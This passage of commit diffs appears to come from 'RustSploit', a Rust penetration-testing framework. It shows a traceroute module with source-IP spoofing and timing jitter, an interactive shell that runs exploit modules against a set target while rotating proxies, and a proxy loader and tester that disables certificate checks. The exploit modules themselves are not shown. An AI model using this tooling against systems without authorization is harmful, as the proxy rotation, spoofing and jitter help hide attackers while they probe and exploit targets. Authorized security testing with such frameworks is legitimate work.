tokio::time::sleep(Duration::from_millis(10)).await;
}
}
async fn execute_traceroute(target_name: &str) -> Result<()> {
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
.await
.with_context(|| format!("Could not resolve target: {}", target_name))?;
let mut target_ipv4: Option<Ipv4Addr> = None;
for sock_addr in resolved_ips {
if let IpAddr::V4(ipv4) = sock_addr.ip() {
target_ipv4 = Some(ipv4);
break;
}
}
let dst_ip = match target_ipv4 {
Some(ip) => ip,
None => bail!("Could not resolve {} to an IPv4 address", target_name),
};
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.map(|s| s.parse().expect("Invalid SPOOF_SRC_IP"));
let mut rng = rand::rng();
for ttl_val in 1..=MAX_TTL {
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
let mut ttl_responded = false;
for _probe_idx in 0..PROBE_COUNT {
let icmp_probe_id = rng.random_range(33434..=65535);
let icmp_probe_seq = ttl_val as u16;
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
dst_ip,
ttl_val,
src_ip_override_opt,
icmp_probe_id,
icmp_probe_seq,
)?;
let _t0 = Instant::now();
let response = send_and_receive_one(
dst_ip,
&packet_bytes,
protocol_used,
os_sig_params.id,
icmp_probe_id,
icmp_probe_seq,
Duration::from_secs(2),
).await?;
if let Some(res) = response {
ttl_responded = true;
let rtt_str = format!("{:.1}ms", res.rtt_ms);
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
print!("{} ", res.icmp_info.description);
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
if res.source_ip == dst_ip {
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
return Ok(());
}
}
}
let jitter_duration = rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1);
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
}
if !ttl_responded {
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
}
}
Ok(())
}
pub async fn run(target: &str) -> Result<()> {
let mut user_input = String::new();
print!("Are you running this as sudo? (yes/no): ");
stdout().flush().unwrap();
stdin().read_line(&mut user_input).expect("Failed to read line");
if user_input.trim().to_lowercase() == "yes" {
let euid = unsafe { libc::geteuid() };
if euid != 0 {
println!("don't lie");
std::process::exit(1);
}
} else if user_input.trim().to_lowercase() == "no" {
println!("Please run this script as sudo.");
std::process::exit(1);
} else {
println!("Invalid input. Exiting.");
std::process::exit(1);
}
println!("by suicidalteddy");
println!("github.com/s-b-repo");
println!("medium.com/@suicdalteddy/about");
if target.is_empty() {
bail!("No target provided.");
}
execute_traceroute(target).await.map_err(|e| {
eprintln!("{}", format!("[-] Error: {}", e).red());
e
})
}
+380 -147
View File
@@ -1,7 +1,8 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use colored::*;
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
@@ -32,154 +33,192 @@ pub async fn interactive_shell() -> Result<()> {
let mut ctx = ShellContext::new();
loop {
print!("rsf> ");
print!("{}", "rsf> ".cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let input = input.trim();
let mut raw_input = String::new();
io::stdin().read_line(&mut raw_input)?;
let trimmed = raw_input.trim();
if input.is_empty() {
if trimmed.is_empty() {
continue;
}
match input {
"exit" | "quit" => {
println!("Exiting...");
break;
},
"help" => {
println!("Available commands:");
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
println!(" set target <value> - Set the target IP/host");
println!(" run - Run the current module (with proxy retries if enabled)");
println!(" modules - List available modules");
println!(" find <keyword> - Search for a module by keyword");
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, https://ip:port, socks4://ip:port, socks5://ip:port.)");
println!(" proxy_on - Enable proxy usage");
println!(" proxy_off - Disable proxy usage");
println!(" show_proxies - Show loaded proxies & current proxy status");
println!(" exit, quit - Exit the shell");
},
"modules" => {
utils::list_all_modules();
},
cmd if cmd.starts_with("find ") => {
let keyword = cmd.trim_start_matches("find ").trim();
if keyword.is_empty() {
println!("Usage: find <keyword>");
} else {
utils::find_modules(keyword);
}
},
cmd if cmd.starts_with("proxy_load ") => {
let file = cmd.trim_start_matches("proxy_load ").trim();
match utils::load_proxies_from_file(file) {
Ok(list) => {
ctx.proxy_list = list;
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
match split_command(trimmed) {
Some((cmd, rest)) => {
let command_key = resolve_command(&cmd);
match command_key.as_str() {
"exit" => {
println!("Exiting...");
break;
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
},
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
},
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
},
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
},
cmd if cmd.starts_with("use ") => {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
} else {
println!("Module '{}' not found.", module_path);
}
},
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
} else {
println!("Usage: set target <value>");
}
},
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// -----------------------------
// NEW: Proxy Retry Logic
// -----------------------------
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
if rest.is_empty() {
println!("{}", "Usage: find <keyword>".yellow());
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
utils::find_modules(&rest);
}
}
"proxy_load" => {
let file_path = if rest.is_empty() {
prompt_for_path("Path to proxy list file: ")?
} else {
rest.to_string()
};
match utils::load_proxies_from_file(&file_path) {
Ok(summary) => {
ctx.proxy_list = summary.proxies;
println!(
"Loaded {} proxies from '{}'.",
ctx.proxy_list.len(),
file_path
);
if !summary.skipped.is_empty() {
println!(
"{}",
format!(
"Skipped {} invalid entr{}:",
summary.skipped.len(),
if summary.skipped.len() == 1 { "y" } else { "ies" }
)
.yellow()
);
for failure in summary.skipped.iter().take(10) {
println!(
" [line {}] {} ({})",
failure.line_number,
failure.content,
failure.reason
);
}
if summary.skipped.len() > 10 {
println!(
" ... {} additional entr{} skipped.",
summary.skipped.len() - 10,
if summary.skipped.len() - 10 == 1 {
"y"
} else {
"ies"
}
);
}
}
if prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true)? {
test_current_proxies(&mut ctx).await?;
}
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
}
} else {
println!("No module selected. Use 'use <module>' first.");
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
}
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
}
"proxy_test" => {
test_current_proxies(&mut ctx).await?;
}
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
}
"use" => {
if rest.is_empty() {
println!("{}", "Usage: use <module_path>".yellow());
} else if utils::module_exists(&rest) {
ctx.current_module = Some(rest.to_string());
println!("{}", format!("Module '{}' selected.", rest).green());
} else {
println!("{}", format!("Module '{}' not found.", rest).red());
}
}
"set" => {
let parts: Vec<&str> = rest.split_whitespace().collect();
if parts.len() >= 2 && parts[0] == "target" {
ctx.current_target = Some(parts[1].to_string());
println!("{}", format!("Target set to {}", parts[1]).green());
} else {
println!("{}", "Usage: set target <value>".yellow());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
}
_ => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
}
}
},
_ => {
println!("Unknown command: '{}'. Type 'help' for usage.", input);
},
}
None => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
}
}
}
@@ -188,20 +227,17 @@ pub async fn interactive_shell() -> Result<()> {
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
if let Some(choice) = choices.choose(&mut rng) {
choice.to_string()
} else {
proxy_list.choose(&mut rng).unwrap().to_string()
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
@@ -215,3 +251,200 @@ fn clear_proxy_env_vars() {
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
fn split_command(input: &str) -> Option<(String, String)> {
let mut parts = input.splitn(2, char::is_whitespace);
let cmd = parts.next()?.to_lowercase();
let rest = parts.next().unwrap_or("").trim().to_string();
Some((cmd, rest))
}
fn resolve_command(cmd: &str) -> String {
match cmd {
"?" | "help" | "h" => "help",
"modules" | "list" | "ls" | "m" => "modules",
"find" | "search" | "f" | "f1" => "find",
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
"proxy_on" | "pon" | "proxyon" => "proxy_on",
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
"use" | "u" => "use",
"set" | "target" => "set",
"run" | "go" | "exec" => "run",
"exit" | "quit" | "q" => "exit",
other => other,
}
.to_string()
}
fn render_help() {
println!();
println!("{}", "RustSploit Command Palette".bold().underline());
println!(
"{}",
"Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
.dimmed()
);
println!();
let entries = vec![
("help", "help | h | ?", "Show this screen"),
("modules", "modules | ls | m", "List available modules"),
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set current target host/IP"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
("show_proxies", "show_proxies | proxies", "Display proxy status"),
("exit", "exit | quit | q", "Leave the shell"),
];
println!("{}", format!("{:<16} {:<25} {}", "Command", "Shortcuts", "Description").bold());
println!("{}", "-".repeat(72).dimmed());
for (cmd, shortcuts, desc) in entries {
println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
}
println!();
println!(
"{}",
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
.dimmed()
);
println!();
}
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded to test.");
return Ok(());
}
let total = ctx.proxy_list.len();
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
println!(
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
total,
if total == 1 { "y" } else { "ies" },
timeout_secs,
max_parallel
);
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
let working_count = summary.working.len();
let failed = summary.failed;
let working = summary.working;
if working_count == 0 {
println!("{}", "[-] No proxies passed the connectivity test.".red());
} else {
println!(
"{}",
format!("[+] {} proxies passed the connectivity test.", working_count).green()
);
}
if !failed.is_empty() {
println!(
"{}",
format!("[-] {} proxies failed validation:", failed.len()).yellow()
);
for failure in &failed {
println!(" {} -> {}", failure.proxy, failure.reason);
}
}
ctx.proxy_list = working;
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
ctx.proxy_enabled = false;
clear_proxy_env_vars();
}
Ok(())
}
fn prompt_for_path(message: &str) -> io::Result<String> {
loop {
print!("{}", message);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let value = input.trim();
if !value.is_empty() {
return Ok(value.to_string());
}
println!("Path cannot be empty. Please try again.");
}
}
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!("{} [{}]: ", message, default_hint);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please answer with 'y' or 'n'."),
}
}
}
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<u64>() {
Ok(value) => return Ok(value),
Err(_) => println!("Invalid number. Please enter a positive integer."),
}
}
}
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<usize>() {
Ok(value) if value > 0 => return Ok(value),
_ => println!("Invalid number. Please enter a positive integer."),
}
}
}
+1
View File
@@ -0,0 +1 @@
+173 -22
View File
@@ -2,9 +2,15 @@
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader, Error};
use std::io::{BufRead, BufReader};
use std::path::Path;
use anyhow::{Result};
use std::sync::Arc;
use std::time::Duration;
use anyhow::{Result, anyhow, Context};
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest;
use tokio::sync::Semaphore;
use url::Url;
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
@@ -134,32 +140,177 @@ pub fn find_modules(keyword: &str) {
}
}
/// Parses a single proxy line (unchanged)
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
line.to_string()
} else {
format!("http://{}", line)
}
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
#[derive(Debug, Clone)]
pub struct ProxyParseError {
pub line_number: usize,
pub content: String,
pub reason: String,
}
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
#[derive(Debug, Clone)]
pub struct ProxyLoadSummary {
pub proxies: Vec<String>,
pub skipped: Vec<ProxyParseError>,
}
#[derive(Debug, Clone)]
pub struct ProxyTestFailure {
pub proxy: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyTestSummary {
pub working: Vec<String>,
pub failed: Vec<ProxyTestFailure>,
}
/// Attempt to normalise and validate a proxy entry.
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
let candidate = if trimmed.contains("://") {
trimmed.to_string()
} else {
format!("http://{}", trimmed)
};
let url = Url::parse(&candidate).map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
}
if url.host_str().is_none() {
return Err(anyhow!("missing proxy host"));
}
if url.port().is_none() {
return Err(anyhow!("missing proxy port"));
}
Ok(candidate)
}
/// Load proxies from a file, returning a summary containing valid proxies and skipped entries.
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
let file = fs::File::open(filename)
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
proxies.push(parse_proxy_line(&line));
let mut skipped = Vec::new();
for (idx, line_res) in reader.lines().enumerate() {
let raw_line = line_res
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
let trimmed = raw_line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
match normalize_proxy_candidate(trimmed) {
Ok(proxy) => proxies.push(proxy),
Err(err) => skipped.push(ProxyParseError {
line_number: idx + 1,
content: trimmed.to_string(),
reason: err.to_string(),
}),
}
}
Ok(proxies)
if proxies.is_empty() {
return Err(anyhow!("no valid proxies found in '{}'", filename));
}
Ok(ProxyLoadSummary { proxies, skipped })
}
/// Test proxies concurrently and return which passed connectivity checks.
pub async fn test_proxies(
proxies: &[String],
test_url: &str,
timeout_secs: u64,
max_parallel: usize,
) -> ProxyTestSummary {
if proxies.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
}
let timeout = Duration::from_secs(timeout_secs.max(1));
let parallel = max_parallel.max(1);
let semaphore = Arc::new(Semaphore::new(parallel));
let mut tasks = FuturesUnordered::new();
for proxy in proxies.iter().cloned() {
let test_url = test_url.to_string();
let semaphore = Arc::clone(&semaphore);
tasks.push(tokio::spawn(async move {
let permit = semaphore.acquire_owned().await;
if permit.is_err() {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
let _permit = permit.unwrap();
let result = check_proxy(&proxy, &test_url, timeout).await;
(proxy, result)
}));
}
let mut summary = ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
while let Some(res) = tasks.next().await {
match res {
Ok((proxy, Ok(()))) => summary.working.push(proxy),
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
proxy,
reason: err.to_string(),
}),
Err(join_err) => summary.failed.push(ProxyTestFailure {
proxy: "<spawn failed>".to_string(),
reason: join_err.to_string(),
}),
}
}
summary
}
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
let proxy_cfg = reqwest::Proxy::all(proxy)
.with_context(|| format!("invalid proxy '{}'", proxy))?;
let client = reqwest::Client::builder()
.timeout(timeout)
.proxy(proxy_cfg)
.danger_accept_invalid_certs(true)
.build()
.context("failed to build reqwest client")?;
let response = client
.get(test_url)
.send()
.await
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
if !response.status().is_success() {
return Err(anyhow!(
"received HTTP status {} while hitting {}",
response.status(),
test_url
));
}
Ok(())
}